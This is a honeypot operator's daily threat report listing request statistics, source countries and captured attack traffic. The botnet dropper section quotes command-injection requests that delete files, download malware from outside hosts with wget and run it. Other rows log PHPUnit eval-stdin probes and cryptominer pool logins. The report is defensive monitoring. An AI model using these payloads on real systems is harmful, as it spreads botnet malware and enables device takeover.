Table of Contents

Daily Report: 2025-07-20
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 3 dropper URL(s).

There are 17 new requests that have never been observed before (these were added to the monitored request database.).

A total of 3512 requests were recorded during the day, originating from 4 different countries, with a peak of 2703 requests coming from GB.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Germany
US	Germany
US	Germany
BR	Germany
US	Germany
GB	Dubai
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
8.219.249.195	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
183.223.32.168	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
27.0.216.40	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.0.216.40:36378/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
45.153.34.79	GET /shell?cd+/tmp;rm+-rf+arm7;nohup+wget+http:/\x5C/45.125.66.95/x86;chmod+777+x86;./x86;cd+/tmp;rm+-rf+arm7;nohup+wget+http:/\x5C/45.125.66.95/arm7;chmod+777+arm7;./arm7 HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
18	4	GET /profile/11764 HTTP/1.1
1167	1	{\x22id\x22:1,\x22method\x22:\x22eth_submitLogin\x22,\x22worker\x22:\x22igwrcvap\x22,\x22params\x22:[\x220x207dd534e14c6f30b22fa37dcd351efaffe8e145\x22,\x22x\x22],\x22jsonrpc\x22:\x222.0\x22}
2004	1	\x00\x0E8\xC5=\xBB\xCA\x80\x96\xA0r\x00\x00\x00\x00\x00
2036	1	POST /web/um_open_telnet.cgi HTTP/1.1
2043	1	POST /libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2064	1	\x00\x0E8\xAD\xB2\x17
2068	1	POST /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2069	1	POST /vendor/phpunit/Util/PHP/eval-stdin.php%20/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2070	1	POST /phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2071	1	POST /phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2072	1	POST /lib/phpunit/phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2077	1	POST /api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php HTTP/1.1
2078	1	POST /lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2079	1	POST /laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2081	1	POST /laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2085	1	POST /admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2241	1	{\x22id\x22:1,\x22jsonrpc\x22:\x222.0\x22,\x22method\x22:\x22login\x22,\x22params\x22:{\x22login\x22:\x2241xEyB5pnNFHYQUQTyFawt6Pn68AzovTRXaTVoBnSCPgVT1ng3TVge29ucy8DfW7GE2nHKw8tVqPH3R5gC4KCk2JPsFq7dX\x22,\x22pass\x22:\x22x\x22,\x22agent\x22:\x22XMRig/6.15.3 (Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\x22,\x22algo\x22:[\x22cn/1\x22,\x22cn/2\x22,\x22cn/r\x22,\x22cn/fast\x22,\x22cn/half\x22,\x22cn/xao\x22,\x22cn/rto\x22,\x22cn/rwz\x22,\x22cn/zls\x22,\x22cn/double\x22,\x22cn/ccx\x22,\x22cn-lite/1\x22,\x22cn-heavy/0\x22,\x22cn-heavy/tube\x22,\x22cn-heavy/xhv\x22,\x22cn-pico\x22,\x22cn-pico/tlo\x22,\x22cn/upx2\x22,\x22rx/0\x22,\x22rx/wow\x22,\x22rx/arq\x22,\x22rx/graft\x22,\x22rx/sfx\x22,\x22rx/keva\x22,\x22argon2/chukwa\x22,\x22argon2/chukwav2\x22,\x22argon2/ninja\x22,\x22astrobwt\x22]}}